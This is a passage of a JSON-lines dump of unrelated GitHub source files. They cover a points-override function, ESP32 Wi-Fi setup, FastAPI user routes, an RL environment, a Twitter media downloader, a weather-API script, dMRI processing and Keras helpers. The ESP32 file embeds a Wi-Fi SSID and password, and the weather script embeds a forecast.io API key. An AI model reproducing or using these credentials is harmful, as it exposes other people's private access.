score\n\nParameters\n- auth_user_id - the id of the user making the request\n- u_id - the id of the player that will have their points overridden\n- comp_id - the id of the competition\n- new_points - the new point value\n\nExceptions\n- InputError when\n    - The given competition does not exist\n    - The requestee is not part of the competition\n    - The player whose points will be overriden is not in the competition\n\nAccess Error When\n    - The requestee is not a moderator in the competition.\n\nReturns None\n\n'''\n@sec.authorise\ndef override(auth_user_id, u_id, comp_id, new_points):\n    with database.get_conn() as conn:\n        with conn.cursor() as cur:\n            qry = \"\"\"\n                SELECT is_moderator, score\n                FROM   CompetitionParticipants\n                WHERE  player = %s\n                AND    competition = %s\n            \"\"\"\n            qry_params = (auth_user_id, comp_id)\n            \n            cur.execute(qry, qry_params)\n            res = cur.fetchone()\n            \n            if res is None:\n                raise InputError(\"We could not verify that you are a part of this competition\")\n            \n            is_moderator, _ = res\n            \n            if not is_moderator:\n                raise AccessError(\"Only moderators can override points\")\n            \n            # Verify that player with u_id is also part of the comp\n            cur.execute(qry, (u_id, comp_id))\n            if cur.fetchone() is None:\n                raise InputError(\"The provided player is not part of this competition\")\n            \n            qry2 = \"\"\"\n                UPDATE CompetitionParticipants\n                SET    score = %s\n                WHERE  player = %s\n                AND    competition = %s\n                ;\n            \"\"\"\n            qry2_params = (new_points, u_id, comp_id)\n            \n            cur.execute(qry2, qry2_params)\n            \n            conn.commit()\n            \n    return {}","repo_name":"josh-ramos-22/Inlead","sub_path":"backend/src/points.py","file_name":"points.py","file_ext":"py","file_size_in_byte":8836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70977620582","text":"import network\nimport machine\n\n#wlan = WLAN(mode=WLAN.STA_IF)\nwlan = network.WLAN(network.STA_IF)  #Create WLAN object\n\nssid = 'KT_GiGA_2G_99F3'\nprint(\"Network found!\")\nwlan.connect(ssid, auth=(4, 'axca1hf258'))\nwhile not wlan.isconnected():\n  machine.idle() # save power while waiting\n  print('WLAN connection succeeded!')\n  print('\\nifconfig: {}\\n'.format(wlan.ifconfig()))\n  break\n\n\n","repo_name":"yoonki-kim/WorkSpace","sub_path":"Codings/ESP32/MicroPython/FireBeetle_ESP32/network_ap_connection.py","file_name":"network_ap_connection.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30907691888","text":"#-*-coding: utf-8 -*-\n#threading.Thread 서브클래스를 만들고 run() 메소드를 오버라이딩 하는 방법\n\nimport threading\n\nclass MyThread(threading.Thread):\n    def __init__(self,name):\n        threading.Thread.__init__(self)\n        self.name=name\n    def run(self):\n        for i in range(5):\n            print(self.name,\":\",i)\nif __name__==\"__main__\":\n    t1= MyThread(\"멍멍이\")\n    t2= MyThread(\"야옹이\")\n    t1.start()\n    t2.start()\n","repo_name":"vasana12/python_python_git","sub_path":"python_Source/untitled2/chapter11/thread_j02.py","file_name":"thread_j02.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24485031746","text":"from fastapi import APIRouter, Depends, HTTPException\nfrom sqlalchemy.orm import Session\nfrom starlette import status\n\nfrom src.database.db import get_db\nfrom src.database.models import User, Role\nfrom src.repository.users import get_user_info, update_user_info, block\nfrom src.schemas.user_schemas import UserResponse, UserUpdate, UserBlackList, UserBlacklistResponse\nfrom src.services.auth import auth_service\nfrom src.services.roles import RolesAccess\n\naccess_get = RolesAccess([Role.admin, Role.moderator, Role.user])\naccess_create = RolesAccess([Role.admin, Role.moderator, Role.user])\naccess_update = RolesAccess([Role.admin, Role.moderator, Role.user])\naccess_delete = RolesAccess([Role.admin])\naccess_block = RolesAccess([Role.admin])\n\nrouter = APIRouter(prefix=\"/users\", tags=[\"Users profile\"])\n\n\n@router.get(\"/me/\", response_model=UserResponse)\nasync def read_users_me(current_user: User = Depends(auth_service.get_current_user)):\n    \"\"\"\n     Функція read_users_me — це запит GET, який повертає інформацію про поточного користувача.\n         Він вимагає автентифікації та використовує auth_service для отримання поточного користувача.\n     :param current_user: Користувач: передати об’єкт поточного користувача у функцію\n     :return: Поточний об'єкт користувача, отриманий від auth_service\n     \"\"\"\n    return current_user\n\n\n@router.get(\"/{username}/\", response_model=UserResponse)\nasync def profile_info(username: str, db: Session = Depends(get_db)):\n    \"\"\"\n     Отримати інформацію про користувача на основі його імені користувача.\n     :param ім'я користувача: str: Ім'я користувача користувача\n     :param db: Сеанс: доступ до бази даних\n     :return: Об'єкт користувача\n     \"\"\"\n    user_info = await get_user_info(username, db)\n    if user_info is None:\n        raise HTTPException(status_code=404, detail=\"User not found\")\n    return user_info\n\n\n@router.put('/{username}', response_model=UserResponse, dependencies=[Depends(access_update)])\nasync def profile_update(username: str, body: UserUpdate, db: Session = Depends(get_db),\n                         current_user: User = Depends(auth_service.get_current_user)):\n    \"\"\"\n     Функція profile_update оновлює інформацію профілю користувача.\n         Функція приймає ім’я користувача, тіло (що є об’єктом UserUpdate), db (сеанс бази даних) і current_user.\n         Якщо ім’я користувача current_user не збігається з даним іменем користувача, а їхня роль — «користувач», тоді HTTPException\n             з кодом статусу 403 Заборонено буде виведено разом із повідомленням про помилку про те, що вони можуть лише оновлювати\n             власний профіль. В іншому випадку, updated_user буде налаштовано на очікування update_user_info(body, username, db). нарешті,\n             оновлений користувач буде повернено.\n     :param ім'я користувача: str: отримати ім'я користувача для оновлення\n     :param body: UserUpdate: отримати дані з тіла запиту\n     :param db: Сеанс: отримати сеанс бази даних\n     :param current_user: Користувач: отримати поточного користувача,\n     :return: Оновлений об’єкт користувача\n     \"\"\"\n    if current_user.username != username and current_user.role == 'user':\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=\"You can only update your own profile\")\n\n    updated_user = await update_user_info(body, username, db)\n\n    return updated_user\n\n\n@router.patch(\"/{email}/blacklist\", response_model=UserBlacklistResponse, dependencies=[Depends(access_block)])\nasync def block_user(email: str, body: UserBlackList, db: Session = Depends(get_db),\n                        _: User = Depends(auth_service.get_current_user)):\n    \"\"\"Опис\"\"\"\n    blocked_user = await block(email, body, db)\n    if blocked_user is None:\n        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"Not found\")\n    return blocked_user\n","repo_name":"iPlugin/my_projects","sub_path":"py_fastapi_auth/src/routes/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":4737,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40854394515","text":"__author__ = 'sagha_000'\nimport csv\ndef write_to_cvs(output_file,state,numCommunity):\n    test_file = open(output_file,'wb')\n    fld=['node']\n    fld.extend(range(numCommunity))\n    csvwriter = csv.DictWriter(test_file, delimiter=',', fieldnames=fld)\n    csvwriter.writerow(dict((fn,fn) for fn in fld))\n    row={}\n    for node in state.keys():\n            row['node']=node\n            for i in range(numCommunity):\n                row[i]=state[node][i]\n            csvwriter.writerow(row)\n    test_file.close()\n","repo_name":"Saghar-Hosseini/Time_Varying_Networks","sub_path":"write_data.py","file_name":"write_data.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14321141038","text":"from typing import Any\n\nfrom loguru import logger\n\nfrom svd_plus_plus.registry import Registry\n\n\ndef do_train(config: dict[str, Any]) -> None:\n    config = Registry.get_from_params(**config)\n    logger.info(\"Get DataPipes.\")\n    datapipes = config[\"dataset\"].get_pipes(splits=(\"train\", \"valid\", \"test\"))\n    logger.info(\"Configure DataLoaders.\")\n    datasets = {key: value(dataset=datapipes[key]) for key, value in config[\"dataloaders\"].items()}\n    logger.info(\"Run Experiment.\")\n    config[\"experiment\"].run(datasets=datasets)\n","repo_name":"Nemexur/svd-plus-plus","sub_path":"svd_plus_plus/cli/commands/train/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71218777061","text":"import numpy as np\nfrom numpy import random\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport copy\nimport datetime\nimport torch\nfrom engine import sample_z, data_to_z_params\n\nclass Game():\n    \n    def __init__(self, cfg, dcrnn, action_space, scenario_dict, dataset_idx, is_online = False):\n        #super(Game, self).__init__()\n        self.SAVE_PATH = cfg.DIR.output_dir\n        self.device = torch.device(cfg.TRAIN.device)\n        self.action_space = action_space\n        self.scenario_dict = scenario_dict\n        self.reward_penalty = cfg.TRAIN.reward_penalty\n        self.MAX_ACTIONS  = cfg.TRAIN.max_actions\n        self.cfg = cfg\n        self.dcrnn = dcrnn\n        \n        self.num_agents = 1\n        self._agent_ids = list(range(self.num_agents))\n        self.actions_made = 0\n\n        self.episode_count = 0\n        self.gt_reward_arr = None if \"gt_rewards\" not in scenario_dict.keys() else scenario_dict[\"gt_rewards\"]\n        self.is_online = is_online\n        self.dataset_idx = dataset_idx\n        self.context_pts = self.scenario_dict[\"context_pts\"][self.dataset_idx:self.dataset_idx+1]\n        self.target_pts = self.scenario_dict[\"target_pts\"][self.dataset_idx:self.dataset_idx+1]\n        self.latent_variable = self.scenario_dict[\"latent_variable\"][self.dataset_idx:self.dataset_idx+1]\n        self.valid_pred = self.scenario_dict[\"valid_pred\"][self.dataset_idx:self.dataset_idx+1]\n        self.test_pred = self.scenario_dict[\"test_pred\"][self.dataset_idx:self.dataset_idx+1]\n        \n    \n    def step(self, action_idx):\n        idx = self.dataset_idx\n        if(self.gt_reward_arr != None): #load from existing data\n            self.gt_reward_arr = self.scenario_dict[\"gt_rewards\"][idx:idx+1].reshape(-1,1)\n            self.gt_reward_arr = (self.gt_reward_arr - torch.mean(self.gt_reward_arr))/torch.std(self.gt_reward_arr)\n            sorted_idx = np.argsort(self.gt_reward_arr.flatten().numpy().copy())\n            self.top_twenty_idx = sorted_idx[-20:]\n#             self.reward_rank_arr = torch.ones(self.gt_reward_arr.shape)*-1\n#             self.reward_rank_arr[self.top_twenty_idx] = 1\n            self.reward_dict = {sorted_idx[i]:(270-i) for i in range(len(sorted_idx))} #store the reward rank given an action_idx\n            \n        else: #online training\n            x_c, y_c = torch.split(self.context_pts, [2, 100], dim = 2)\n            x_t, y_t, y_t_pred = torch.split(self.target_pts, [2, 100, 100], dim = 2) #n_iter x n_pts x pt_dim\n            x_train = torch.cat([x_c, x_t], dim = 1)[0]\n            y_train = torch.cat([y_c, y_t], dim = 1)[0]\n            self.gt_reward_arr = self.calculate_score(self.cfg, self.dcrnn, x_train, y_train, self.action_space)\n        if(self.actions_made == 0):\n            print(\"reward stats: mean = {}, median = {}, std = {}, max = {}, min = {}\".format(\n                np.round(torch.mean(self.gt_reward_arr),3), \n                np.round(torch.median(self.gt_reward_arr),3), \n                np.round(torch.std(self.gt_reward_arr),3), \n                np.round(torch.max(self.gt_reward_arr),3),\n                np.round(torch.min(self.gt_reward_arr),3))\n            )\n        \n        selected_param = self.action_space[action_idx]\n        observation = self.dict_to_state(self.context_pts, self.target_pts, self.latent_variable) #convert from dictionary to vector(RL state has to be a flattened vector)\n        reward = self.gt_reward_arr[action_idx]*self.reward_penalty**(self.actions_made)\n#         reward = torch.tensor([(270-self.reward_dict[action_idx])*self.reward_penalty**(self.actions_made)])\n        #reward = self.gt_reward_arr[action_idx]\n        self.actions_made +=1\n        done = self.actions_made >= self.MAX_ACTIONS\n#         if(self.actions_made % 10 ==0):\n#             print('data_num = {}, actions_made = {}, reward = {}'.format(self.dataset_idx, self.actions_made, np.round(reward.item(), 3)))\n        info = {\"selected_param\": selected_param, \"gt_reward_arr\": self.gt_reward_arr.flatten(), \"reward_dict\":self.reward_dict}\n        \n        return observation, reward, done, info\n\n    def get_reward(self, action_idx):\n        return self.gt_rewards[action_idx]\n\n    \n    def calculate_score(self, cfg, dcrnn, x_train, y_train, beta_epsilon_all):\n        # query z_mu, z_var of the current training data\n        with torch.no_grad():\n            z_mu, z_logvar = data_to_z_params(dcrnn, x_train.to(self.device),y_train.to(self.device))\n            score_list = []\n            for i in range(len(beta_epsilon_all)):\n                # generate x_search\n                x1 = beta_epsilon_all[i:i+1]\n                x_search = np.repeat(x1,cfg.SIMULATOR.num_simulations,axis =0)\n                x_search = torch.from_numpy(x_search).float()\n\n                # generate y_search based on z_mu, z_var of current training data\n                output_list = []\n                for j in range (len(x_search)):\n                    zsamples = sample_z(z_mu, z_logvar,cfg.MODEL.z_dim) \n                    output = dcrnn.decoder(x_search[j:j+1].to(self.device), zsamples).cpu()\n                    output_list.append(output.detach().numpy())\n\n                y_search = np.concatenate(output_list)\n                y_search = torch.from_numpy(y_search).float()\n\n                x_search_all = torch.cat([x_train,x_search],dim=0)\n                y_search_all = torch.cat([y_train,y_search],dim=0)\n\n                # generate z_mu_search, z_var_search\n                z_mu_search, z_logvar_search = data_to_z_params(dcrnn, x_search_all.to(self.device),y_search_all.to(self.device))\n                \n                # calculate and save kld\n                mu_q, var_q, mu_p, var_p = z_mu_search,  0.1+ 0.9*torch.sigmoid(z_logvar_search), z_mu, 0.1+ 0.9*torch.sigmoid(z_logvar)\n\n                std_q = torch.sqrt(var_q)\n                std_p = torch.sqrt(var_p)\n\n                p = torch.distributions.Normal(mu_p, std_p)\n                q = torch.distributions.Normal(mu_q, std_q)\n                score = torch.distributions.kl_divergence(p, q).sum()\n\n                score_list.append(score.item())\n            score_array = np.array(score_list)\n        return score_array\n\n    def reset(self):        \n        observation = self.dict_to_state(self.context_pts, self.target_pts, self.latent_variable).to(self.device)\n        self.actions_made = 0\n        return observation\n    \n    def dict_to_state(self, context_pts, target_pts, latent_variable):\n        ct_shape = torch.tensor(context_pts.shape[-2:])\n        tgt_shape = torch.tensor(target_pts.shape[-2:])\n        context_pts = context_pts.flatten()\n        context_pts = (context_pts-torch.mean(context_pts))/(torch.std(context_pts))\n        target_pts = target_pts.flatten()\n        target_pts = (target_pts-torch.mean(target_pts))/(torch.std(target_pts))\n        latent_variable = latent_variable.flatten()\n        latent_variable = (latent_variable-torch.mean(latent_variable))/(torch.std(latent_variable))\n        \n        observation = torch.cat([torch.tensor([self.actions_made]), context_pts,target_pts , latent_variable, ct_shape, tgt_shape], dim = 0).to(self.device)\n        return observation\n              \n    def update_data_idx(self, new_idx):\n        self.dataset_idx = new_idx    \n        self.context_pts = self.scenario_dict[\"context_pts\"][self.dataset_idx:self.dataset_idx+1]\n        self.target_pts = self.scenario_dict[\"target_pts\"][self.dataset_idx:self.dataset_idx+1]\n        self.latent_variable = self.scenario_dict[\"latent_variable\"][self.dataset_idx:self.dataset_idx+1]\n        self.valid_pred = self.scenario_dict[\"valid_pred\"][self.dataset_idx:self.dataset_idx+1]\n        self.test_pred = self.scenario_dict[\"test_pred\"][self.dataset_idx:self.dataset_idx+1]\n        self.gt_reward_arr = self.scenario_dict[\"gt_rewards\"][self.dataset_idx:self.dataset_idx+1].reshape(-1,1)\n        print('IDX = {}, VAR SHAPE = {}, {}, {}'.format(self.dataset_idx, self.context_pts.shape, self.target_pts.shape, self.latent_variable.shape))\n      \n        \n    \n    def render(self, mode):\n        pass\n    \n    def close(self):\n        pass\n    \n    def seed(self):\n        pass\n","repo_name":"Brian96086/STNP_RL","sub_path":"utils/env/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":8141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14886377376","text":"#!/usr/bin/env python\n\nimport re\nimport json\nfrom urllib import parse\nfrom html import unescape\n\nfrom lulu.common import (\n    match1,\n    get_head,\n    urls_size,\n    print_info,\n    get_content,\n    download_urls,\n    playlist_not_supported,\n)\nfrom lulu.extractors.vine import vine_download\n\n\n__all__ = ['twitter_download']\nsite_info = 'Twitter twitter.com'\n\n\ndef extract_m3u(source):\n    r1 = get_content(source)\n    s1 = re.findall(r'(/ext_tw_video/.*)', r1)\n    s1 += re.findall(r'(/amplify_video/.*)', r1)\n    r2 = get_content('https://video.twimg.com{}'.format(s1[-1]))\n    s2 = re.findall(r'(/ext_tw_video/.*)', r2)\n    s2 += re.findall(r'(/amplify_video/.*)', r2)\n    return ['https://video.twimg.com{}'.format(i) for i in s2]\n\n\ndef twitter_download(url, info_only=False, **kwargs):\n    html = get_content(url)\n    screen_name = match1(html, r'data-screen-name=\"([^\"]*)\"') or \\\n        match1(html, r'<meta name=\"twitter:title\" content=\"([^\"]*)\"')\n    item_id = match1(html, r'data-item-id=\"([^\"]*)\"') or \\\n        match1(html, r'<meta name=\"twitter:site:id\" content=\"([^\"]*)\"')\n    page_title = '{} [{}]'.format(screen_name, item_id)\n\n    try:  # extract images\n        urls = re.findall(\n            r'property=\"og:image\"\\s*content=\"([^\"]+:large)\"', html\n        )\n        assert urls\n        images = []\n        for url in urls:\n            url = ':'.join(url.split(':')[:-1]) + ':orig'\n            filename = parse.unquote(url.split('/')[-1])\n            title = '.'.join(filename.split('.')[:-1])\n            ext = url.split(':')[-2].split('.')[-1]\n            size = int(get_head(url)['Content-Length'])\n            images.append({\n                'title': title,\n                'url': url,\n                'ext': ext,\n                'size': size\n            })\n        size = sum([image['size'] for image in images])\n        print_info(site_info, page_title, images[0]['ext'], size)\n\n        if not info_only:\n            for image in images:\n                title = image['title']\n                ext = image['ext']\n                size = image['size']\n                url = image['url']\n                print_info(site_info, title, ext, size)\n                download_urls([url], title, ext, size, **kwargs)\n\n    except Exception:  # extract video\n        # always use i/cards or videos url\n        if not re.match(r'https?://twitter.com/i/', url):\n            url = match1(\n                html, r'<meta\\s*property=\"og:video:url\"\\s*content=\"([^\"]+)\"'\n            )\n            if not url:\n                url = 'https://twitter.com/i/videos/{}'.format(item_id)\n            html = get_content(url)\n\n        data_config = match1(html, r'data-config=\"([^\"]*)\"') or \\\n            match1(html, r'data-player-config=\"([^\"]*)\"')\n        i = json.loads(unescape(data_config))\n        if 'video_url' in i:\n            source = i['video_url']\n            item_id = i['tweet_id']\n            page_title = \"{} [{}]\".format(screen_name, item_id)\n        elif 'playlist' in i:\n            source = i['playlist'][0]['source']\n            if not item_id:\n                page_title = i['playlist'][0]['contentId']\n        elif 'vmap_url' in i:\n            vmap_url = i['vmap_url']\n            vmap = get_content(vmap_url)\n            source = match1(vmap, r'<MediaFile>\\s*<!\\[CDATA\\[(.*)\\]\\]>')\n            item_id = i['tweet_id']\n            page_title = '{} [{}]'.format(screen_name, item_id)\n        elif 'scribe_playlist_url' in i:\n            scribe_playlist_url = i['scribe_playlist_url']\n            return vine_download(\n                scribe_playlist_url, info_only=info_only, **kwargs\n            )\n\n        try:\n            urls = extract_m3u(source)\n        except Exception:\n            urls = [source]\n        size = urls_size(urls)\n        mime, ext = 'video/mp4', 'mp4'\n\n        print_info(site_info, page_title, mime, size)\n        if not info_only:\n            download_urls(urls, page_title, ext, size, **kwargs)\n\n\ndownload = twitter_download\ndownload_playlist = playlist_not_supported(site_info)\n","repo_name":"iawia002/Lulu","sub_path":"lulu/extractors/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","stars":812,"dataset":"github-code","pt":"35"}
{"seq_id":"29500278509","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug  7 23:06:22 2016\n\n@author: Xin\n\"\"\"\n\nimport datetime\nimport requests\nimport sqlite3 as lite\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport collections\n\nAPIKEY = 'b3d9e1886a328223d5afd670704cdf2e/'\nstart_date = datetime.datetime.now() - datetime.timedelta(days=30)\n\ncities = { \"Atlanta\": '33.762909,-84.422675',\n            \"Austin\": '30.303936,-97.754355',\n            \"Boston\": '42.331960,-71.020173',\n            \"Chicago\": '41.837551,-87.681844',\n            \"Cleveland\": '41.478462,-81.679435'\n        }\n\n# create table in SQLite database\ncon = lite.connect('weather.db')\ncur = con.cursor()\n\n#with con:\n#    cur.execute('CREATE TABLE temperature_max (date INT PRIMARY KEY, '+ ' FLOAT, '.join(cities.keys()) + ' FLOAT)')\n# API call\n# print ('https://api.forecast.io/forecast/' + APIKEY + cities[\"Boston\"] + ',' + str(start_date))\nfor i in range(30):\n    date = start_date + datetime.timedelta(days = i)\n    cur.execute('INSERT INTO temperature_max (date) VALUES (?)', (date.strftime('%s'),))\n    for k,v in cities.iteritems():\n        r = requests.get('https://api.forecast.io/forecast/' + APIKEY + v + ',' + date.strftime('%s'))\n        # 3 levels of data, get the daily maximum temperature \"temperatureMax\"\n        daily = r.json()['daily']['data'][0]\n        cur.execute('UPDATE temperature_max SET %s = %5.2f WHERE date = %s' % (k, daily['temperatureMax'], date.strftime('%s')))\n\n# Profiling the temperature data\ndf = pd.read_sql_query('SELECT * FROM temperature_max ORDER BY date', con, index_col = 'date')\n\n# range of temperatureMax\nprint(\"The range of maximum temperature in Boston from %s to %s is %5.2fF to %5.2fF.\" % ( \n        datetime.datetime.fromtimestamp(int(df.index[0])).strftime('%Y-%m-%d'),\n        datetime.datetime.fromtimestamp(int(df.index[-1])).strftime('%Y-%m-%d'),\n        min(df['Boston']),\n        max(df['Boston']),\n    ))\n# The range of maximum temperature in Boston from 2016-07-09 to 2016-08-07 is 62.17F to 95.15F\n\n# mean and variance temperature for each city\nfor column in df:\n    print(\"The mean of maximum temperature in \" + column + \" is \" + \"%.2f\" % (df[column].mean()))\n    print(\"The variance of maximum temperature in \" + column + \" is \" + \"%.2f\" % (df[column].var()))\n\ndaily_change = collections.defaultdict(int)\n\nfor column in df:\n    shift = df[column].diff()\n    daily_change[column] = abs(shift[1:]).sum()\n\n# Find the key with the greatest value\ndef maxtempchg(d):\n    return max(d, key = lambda k: d[k])\n    \n# The city with greatest temperature variation\nmax_temp_change = maxtempchg(daily_change)  # Boston\n\n# distribution of the absolute temperature difference\nabs(shift[1:]).hist()\n","repo_name":"stellaxux/thinkful-unit3","sub_path":"temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4679191206","text":"#!/usr/bin/env python\n\n# ===============================================================================\n# dMRIharmonization (2018) pipeline is written by-\n#\n# TASHRIF BILLAH\n# Brigham and Women's Hospital/Harvard Medical School\n# tbillah@bwh.harvard.edu, tashrifbillah@gmail.com\n#\n# ===============================================================================\n# See details at https://github.com/pnlbwh/dMRIharmonization\n# Submit issues at https://github.com/pnlbwh/dMRIharmonization/issues\n# View LICENSE at https://github.com/pnlbwh/dMRIharmonization/blob/master/LICENSE\n# ===============================================================================\n\nfrom plumbum import cli, local\nfrom conversion import read_bvals, read_imgs, read_imgs_masks\nfrom nibabel import load\nfrom util import abspath, pjoin, save_nifti, copyfile, RAISE, basename, dirname, isfile\nimport numpy as np\nfrom multiprocessing import Pool\nfrom findBshells import BSHELL_MIN_DIST\n\n\ndef joinBshells(imgPath, ref_bvals_file=None, ref_bvals=None, sep_prefix=None):\n\n    if ref_bvals_file:\n        print('Reading reference b-shell file ...')\n        ref_bvals= read_bvals(ref_bvals_file)\n\n    print('Joining b-shells for', imgPath)\n\n    imgPath= local.path(imgPath)\n    img= load(imgPath._path)\n    dim= img.header['dim'][1:5]\n\n    inPrefix= abspath(imgPath).split('.nii')[0]\n    directory= dirname(inPrefix)\n    prefix = basename(inPrefix)\n\n    bvalFile= inPrefix+'.bval'\n    bvecFile= inPrefix+'.bvec'\n\n    if sep_prefix:\n        harmPrefix= pjoin(directory, sep_prefix+ prefix)\n    else:\n        harmPrefix= inPrefix\n\n    if not isfile(harmPrefix+'.bval'):\n        copyfile(bvalFile, harmPrefix+'.bval')\n    if not isfile(harmPrefix+'.bvec'):\n        copyfile(bvecFile, harmPrefix+'.bvec')\n\n    bvals= np.array(read_bvals(inPrefix+'.bval'))\n\n\n    joinedDwi = np.zeros((dim[0], dim[1], dim[2], dim[3]), dtype='float32')\n\n    for bval in ref_bvals:\n\n        # ind= np.where(bval==bvals)[0]\n        ind= np.where(abs(bval-bvals)<=BSHELL_MIN_DIST)[0]\n\n        if bval==0.:\n            b0Img = load(inPrefix+'_b0.nii.gz')\n            b0 = b0Img.get_data()\n            for i in ind:\n                joinedDwi[:,:,:,i]= b0\n\n        else:\n            b0_bshell= load(harmPrefix+f'_b{int(bval)}.nii.gz').get_data()\n\n            joinedDwi[:,:,:,ind] = b0_bshell[:,:,:,1:]\n\n    save_nifti(harmPrefix + '.nii.gz', joinedDwi, b0Img.affine, b0Img.header)\n\n\ndef joinAllBshells(tar_csv, ref_bvals_file, separatedPrefix=None, ncpu=4):\n\n    ref_bvals = read_bvals(ref_bvals_file)\n    if tar_csv:\n\n        try:\n            imgs, _ = read_imgs_masks(tar_csv)\n        except:\n            imgs = read_imgs(tar_csv)\n\n        pool = Pool(int(ncpu))\n        for imgPath in imgs:\n            pool.apply_async(joinBshells, kwds=({'imgPath': imgPath, 'ref_bvals': ref_bvals, 'sep_prefix': separatedPrefix}),\n                             error_callback=RAISE)\n\n        pool.close()\n        pool.join()\n\n\n\nclass joinDividedShells(cli.Application):\n\n    tar_csv = cli.SwitchAttr(\n        ['--img_list'],\n        cli.ExistingFile,\n        help='csv/txt file with first column for dwi and 2nd column for mask: dwi1,mask1\\\\ndwi2,mask2\\\\n...'\n             'or just one column for dwi1\\\\ndwi2\\\\n...',\n        mandatory= True)\n\n    ref_bvals_file = cli.SwitchAttr(\n        ['--ref_bshell_file'],\n        cli.ExistingFile,\n        help='reference bshell file',\n        mandatory= True)\n    \n    separatedPrefix= cli.SwitchAttr(\n        ['--sep_prefix'],\n        help='prefix of the separated bshell files (.nii.gz, .bval, .bvec) if different from original files. '\n             'Example: if separated bshell files are named as harmonized_originalName.nii.gz, then --sep_prefix=harmonized_',\n        default=None)\n\n    ncpu = cli.SwitchAttr(\n        '--ncpu',\n        help='number of processes/threads to use (-1 for all available, may slow down your system)',\n        default=4)\n\n    def main(self):\n        joinAllBshells(self.tar_csv, self.ref_bvals_file, self.separatedPrefix, self.ncpu)\n\n\n\nif __name__== '__main__':\n    joinDividedShells.run()\n\n","repo_name":"pnlbwh/multi-shell-dMRIharmonization","sub_path":"lib/joinBshells.py","file_name":"joinBshells.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"20276055913","text":"#!/usr/bin/env python3\n\"\"\"This module contains save_config and load_config\"\"\"\nimport tensorflow.keras as K\n\n\ndef save_config(network, filename):\n    \"\"\"saves a model’s configuration in JSON format\n\n    Params:\n        network: the model whose configuration should be saved\n        filename: the path of the file that the configuration should be\n                  saved to\n\n    Returns: None\n    \"\"\"\n    json_config = network.to_json()\n\n    with open(filename, \"w\") as json_file:\n        json_file.write(json_config)\n\n\ndef load_config(filename):\n    \"\"\"loads a model with a specific configuration\n\n    Params:\n        filename: the path of the file containing the model's\n                  configuration in JSON format\n\n    Returns: the loaded model\n    \"\"\"\n    with open(filename, 'r') as json_file:\n        loaded_model_json = json_file.read()\n    model = K.models.model_from_json(loaded_model_json)\n\n    return model\n","repo_name":"otalorajuand/holbertonschool-machine_learning","sub_path":"supervised_learning/keras/11-config.py","file_name":"11-config.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32684428849","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"humidistat_gui.py\n\nManages the graphical user interface\n\"\"\"\n__author__ = \"Dennis van Gils\"\n__authoremail__ = \"vangils.dennis@gmail.com\"\n__url__ = \"https://github.com/Dennis-van-Gils/project-Humidistat\"\n__date__ = \"28-07-2022\"\n__version__ = \"1.1\"\n# pylint: disable=bare-except, broad-except, unnecessary-lambda\n\nfrom pathlib import Path\nfrom configparser import ConfigParser\n\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtCore import QDateTime\nfrom PyQt5.QtWidgets import (\n    QCheckBox,\n    QFileDialog,\n    QGridLayout,\n    QGroupBox,\n    QHBoxLayout,\n    QLabel,\n    QLineEdit,\n    QPushButton,\n    QRadioButton,\n    QSpacerItem,\n    QTextEdit,\n    QVBoxLayout,\n    QWidget,\n)\nimport pyqtgraph as pg\nimport dvg_monkeypatch_pyqtgraph  # pylint: disable=unused-import\n\nimport dvg_pyqt_controls as controls\nfrom dvg_debug_functions import dprint, tprint, print_fancy_traceback as pft\nfrom dvg_pyqt_filelogger import FileLogger\nfrom dvg_pyqtgraph_threadsafe import (\n    HistoryChartCurve,\n    LegendSelect,\n    PlotManager,\n)\n\nfrom dvg_devices.Arduino_protocol_serial import Arduino\nfrom humidistat_qdev import Humidistat_qdev, ControlMode, ControlBand\n\n\n# Constants\nUPDATE_INTERVAL_WALL_CLOCK = 50  # 50 [ms]\nCHART_HISTORY_TIME = 7200  # Maximum history length of charts [s]\nDEFAULT_CONFIG_FILE = \"./config/humidistat_default_config.ini\"\n\n# Show debug info in terminal? Warning: Slow! Do not leave on unintentionally.\nDEBUG = False\n\n# Try OpenGL support\nTRY_USING_OPENGL = True\nif TRY_USING_OPENGL:\n    try:\n        import OpenGL.GL as gl  # pylint: disable=unused-import\n    except:\n        print(\"OpenGL acceleration: Disabled\")\n        print(\"To install: `conda install pyopengl` or `pip install pyopengl`\")\n    else:\n        print(\"OpenGL acceleration: Enabled\")\n        pg.setConfigOptions(useOpenGL=True)\n        pg.setConfigOptions(antialias=True)\n        pg.setConfigOptions(enableExperimental=True)\n\n# Default settings for graphs\n# pg.setConfigOptions(leftButtonPan=False)\npg.setConfigOption(\"background\", controls.COLOR_GRAPH_BG)\npg.setConfigOption(\"foreground\", 